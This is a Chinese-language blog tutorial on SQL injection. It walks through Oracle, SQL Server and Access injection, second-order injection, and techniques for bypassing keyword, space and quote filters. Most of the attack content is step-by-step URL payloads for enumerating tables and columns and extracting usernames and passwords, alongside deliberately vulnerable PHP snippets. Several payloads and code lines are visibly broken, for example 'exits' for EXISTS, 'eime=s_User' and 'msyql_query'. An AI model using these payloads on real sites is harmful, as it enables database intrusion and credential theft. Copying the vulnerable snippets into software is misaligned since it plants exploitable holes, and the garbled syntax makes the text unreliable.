SQL注入(二)

一、按数据库类型

1、Oracle注入

1.1.Oracle基础知识

Oracle是目前最流行的C/S或B/S体系结构的数据库之一。

数据字典:数据字典是元数据的集合,从逻辑上和物理上描述了数据库及其内容,存储于SYSTEM与SYSAUX表空间内的若干段中。

数据字典视图:数据字典中的数据比较复杂,一般查询的是数据字典视图。

数据字典视图三种不同权限的分类:分别以user,all,dba的前缀开头。

常用的数据字典视图
表名列名
user_tables:存储用户拥有表的信息table_name: 用户创建的表名
user_tab_columns:存储用户拥有的列的信息

column_name:用户创建表中的列名

dual:是Oracle数据库中实际存在的表,任何用户都可读取。用法:常用在Oracle注入中没有目标表的select语句块中

1.2.Oracle注入实例分析

Oracle注入Payload

?id=1 and 1=1/1=2                                    //判断注入点
?id=1 order by 3                                     //判断列数
?id=1 union select null,null,null from dual          //判断报错点
?id=1 union select null,null,SYS_CONTEXT('USERENV','CURRENT_USER') FROM dual        //获取库名
?id=1 and 1=2 union select null,null,table_name from user_tables           //获取表名
?id=1 and 1=2 union select null,null,column_name from user_tab_columns     //获取表中列名
?id=1 and 1=2 union select null,"username","password" from "user"          //获取列中的数据库

Oracle注入过程

(1)判断注入点

输入单引号,数据库报错,说明没有对单引号过滤并且与Oracle数据库存在交互查询。

输入“and 1=1 ”,页面若返回正常

输入“and 1=2”,若页面返回不正常,则说明存在数字型

(2)判断列数

通过联合查询注入,两个结果集的列数要相同。

order  by :判断表中的列数

(3)获取当前数据库的信息

查看当前用户的信息

select SYS_CONTEXT('USERENV','CURRENT_USER') FROM dual;

查看当前用户权限

select * from session_roles

查看数据库版本

select banner from sys.v_$version where rownum=1

(4)套用Payloady进行测试

2、SQL Server注入

2.1.SQL Server 目录视图

SQL Server 引入了一组目录视图作为保留系统元数据的通用接口。所有目录视图都在sys模式中。访问对象时,必须引入模式名称。

SQL Server 中包含sysdatabases,sysobjects,   syscolumns三个目录视图

目录视图
目录视图内容
sysdatabases包含所有数据库的名称
sysobjects保存了每个数据库内创建的所有对象,如约束,默认值,日志,规则,存储过程等
syscolumns保存列名,每个表和视图的每一列在syscolumns中占一行

2.2.SQL Server报错注入步骤

(1)获取当前数据库名

第一种方式:通过databases表获取

?id=1 and (select top 1 name from sys.databases)>0
//将查询结果与0比较,产生类型比较报错,得到数据库

第二种方式:使用内置函数:db_name()

?id=1 and db_name()>0
//查询到当前数据库的名称,与0比较以产生比较报错,获取数据库信息

(2)获取数据库的表名

?id=1 and 0<(select top 1 name from sec.dbo.sysobjects where xtype="U"
//从sysobjects的第一个name结果中获取了sec数据库的第一个表为xxx的信息
//xtype=X表示系统表,xtype=u表示用户表

(3)获取表中的列名

?id=1 and 0<(select top 1 name from sec.dbo.syscolumns where id=1(select id from sec.dbo.sysobjects where xtype='U' and name='eims_User') and name not in ('ItemID')
//从eims_User表中获取其id,然后从syscolumns中利用该id查询第二个列名,获取eims_User表的第二个列名

(4)获取列中的数据

?id=1 and 0<(select top 1 item1 from sec.dbo.eime=s_User)
//从eims_User表中获取item1列的数据admin

3、Access注入

3.1.Access基础知识

常见的Access数据库文件的扩展名是mdb和accdb。

Access数据库在结构上主要包括表,查询,窗体,报表,数据访问页,宏,模块。

表是数据库中用来存储数据的对象,是数据库的核心和基础。表由表结构和表内容组成。在对表进行操作时,是对表结构和表内容分别进行操作的。表结构包括表名和字段属性两部分。

Access数据库的系统表包括MSysAccessObject、MSYSAccessXML等

MSysObjects中包含了所有的数据库对象

3.2.Access爆破法注入步骤

(1)猜测数据库中的表

原理:利用 and exits(select * from TableName) 猜测是否存在TableName表。如果页面正常返回,说明存在TableName表;如果不能正常返回,说明不存在TableName表,

http://www.baidu.com/index.php/?id=1 and exits (select * from manage)
//猜测是否存在manage表,页面正常返回,说明存在manage表

(2)猜测表中的列名

原理:利用and exits (select ColumnName from TableName猜测TableName表中是否存在ColumnName列,如果页面返回正常,则存在,返回错误,说明ColumnName列不存在。

http://www.baidu.com/index.php/?id=1 and exits (select username from manage)
//猜测manage表中是否存在username列,页面正常返回,说明存在username列。

(3)判断列数

原理:access支持联合查询,可以通过联合查询获取数据。联合查询要满足列数相同的要求,所以要先通过order by 判断列数。

http://www.baidu.com/index.php/?id=1 order by 7
//判断表是否存在7列数据

(4)查看报错点

原理:与 MYSQL数据库不一样,Access数据库的查询命令必须写为select 1,2,3 from  tablename,其中from 不能省略,TableName必须真实存在。

http://www.baidu.com/index.php/?id=1 and 1=2 union select 1,2,3,4,5 from manage
//查看页面的报错位置

二、其他注入方式

1、二次注入

1.1.二次注入原理

二次注入是SQL注入的一种形式,是常见的注入类型。

原理:第一次在参数中输入恶意数据的时候,由于存在addslashes等函数的过滤,会将特殊字符添加\进行转义,但是转义字符\本身并不会存入数据库。这样,在进行下一次查询时,如果没有过滤,直接从数据库中取出恶意数据并执行,就造就了SQL注入。

1.2.二次注入漏洞利用过程

注册代码:

$username=addslashes($_POST['username']);
$password=addslashes($_post['password']);
$email=addslashes($_POST['email']);
$sql="INSERT INTO ‘users’ ('username','password','emails') values ('$usernamee','$password','$email')";
$row=mysql_query($sql);

在代码注册中,通过addslashes函数将用户名,密码,邮箱进行了特殊字符转义,所以无需通过注册功能进行SQL注入

找回代码:

$email=addslashes($_POST['email']);
$sql="select * from users where email=$email";
$row = msyql_query($sql);
if($row){
    $row=mysql_fetch_array($row);
    $username=$rows['username'];
    $sqlpass="select * from useers where useername='$username'";
   }

找回密码时,用户输入邮箱信息,从数据库中获取邮箱对应的用户名,从数据库中通过查询获取的用户名没有经过过滤,然后将用户名信息拼接到SQL语句中查询,就形成了二次注入漏洞。

三、SQL绕过注入

1、空格过滤绕过

漏洞代码:

if (preg_match('/ /',$_GET['id']):
    die("ERROR")        //通过preg_match对GET型参数进行过滤,存在空格则返回ERROR

绕过方法:

(1)/**/ 绕过

MySQL数据库中可以用/**/(注释符)来代替空格,将空格用注释符代替后,SQL语句可以正常运行。

?id=1'select/**/1,2,table_name/**/from/**/users;

(2)制表符绕过

MySQL数据库中,可以用制表符代替空格,SQL语句可以正常运行,制表符是不可见字符,在URL传输中需要编码,URL值为%09

?id=1%09and%091=2%09union%09select%091,2,databases();

(3)换行符绕过

MySQL支持换行执行SQL语句,可以利用换行代替空格,换行符是不可见字符,URL编码为%0a。

?id=1%0aand%0a1=2%0aunion%0aselect%0a1,2,databases();

(4)括号绕过

MySQL中任何语句都可以使用括号嵌套SQL语句,因此可以使用括号绕过空格的过滤。

?id=1'union(select)username(from)user;

MySQL特性:

where id=1=1:对前面的所有结果与1,查询的结果与原来的一样

where id=1=0:对前面所有结果与0,查询的结果为出去原有查询结果的其他数据

根据上述特性,构造括号payload,就可以进行bool注入,获得数据库的信息。

测试语句:

http://www.xxx.com/?id=1=(ascii(mid(database() from (1) for (1)))=99)

2、内联注释绕过

原理:MySQL会执行/! ··· /中的语句。

        /! 50010···/也会执行位于其中的SQL语句,50010表示5.00.10为MySQL版本号,当MySQL的实际版本号大于内联注释中的版本号时,就会执行内联注释中的代码,可以利用该特性绕过特殊字符过滤

http://www.xxx.com/?id=1 and 1=2 /*!union*//*!select*/1,2,group_concat(table_name) /*!from*/information_schema.tables where table_schema='databases()'

3、大小写绕过

漏洞代码:

if (preg_match('/select'/,$_GET['id']):   //存在select关键字,则返回die的结果
    die("error")

原理:由于没有对select大小写的各种情况进行判断,导致的大小写混写的方式绕过过滤。

4、双写关键字绕过

漏洞代码:

if(isset($_GET['id'])){
    $id=preg_replace('/select/','',$_GET['id']);
    $sql="SELECT * from admin where id=$id LIMIT 0,1;
    $result=mysql_query($sql);
}

原理:preg_replace没有对select关键字进行多次过滤,导致存在多写绕过漏洞。

5、编码绕过

漏洞代码:

if (preg_match('/select/'i,$_GET['id'])){
    die("ERROR")
    }else{
    $id=$_GET['id'];
    $sql="SELECT * FROM admin WHERE id=$id LIMIT 0,1";
}

原理:preg_match对参数进行了过滤,并且对大小写进行了判断,如果存在select关键词,则结束运行。

绕过方法:

(1)双重URL编码绕过

http://www.xxx.com/?id=1 and 1=2 union select se%256ect 1,2,database()

将select进行双重编码绕过了select关键字过滤

(2)十六进制编码绕过

原理:mysql对十六进制的数据进行自动转换,如果PHP中开启了GPC,会自动对单引号进行转义,导致注入无法正常使用,可以将注入的数据转换为十六进制,则不需要单引号,可以正常注入。

(3)Unicode编码绕过

原理:IIS中间件可以识别Unicode字符,当URL中存在Unicode字符时,IIS中间件会自动转换。

(4)ASCII编码绕过

原理:SQL server的char函数可以将字符转换为ASCII码,这样也可以绕过单引号转义的情况

6、等价函数字符替换绕过

(1)用like,in 代替 =

原理:在MySQL中,可以用like或者in代替=进行查询,利用此特性绕过对=的查询

漏洞代码:

if (preg_match('/=/',$_GET['id'])){
    die("ERROR")
    }

(2)逗号过滤

select substr(database(),1,1);        
select substr(database() from 1 for 1);

(3)等价函数

可以用以下等价函数代替来绕过过滤:

        sleep函数可以用benckmark函数代替

        ASCII函数可以用hex,bin函数代替

        group_concat函数可以用concat_ws函数代替

        updatexml函数可以用extractvalue函数代替

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值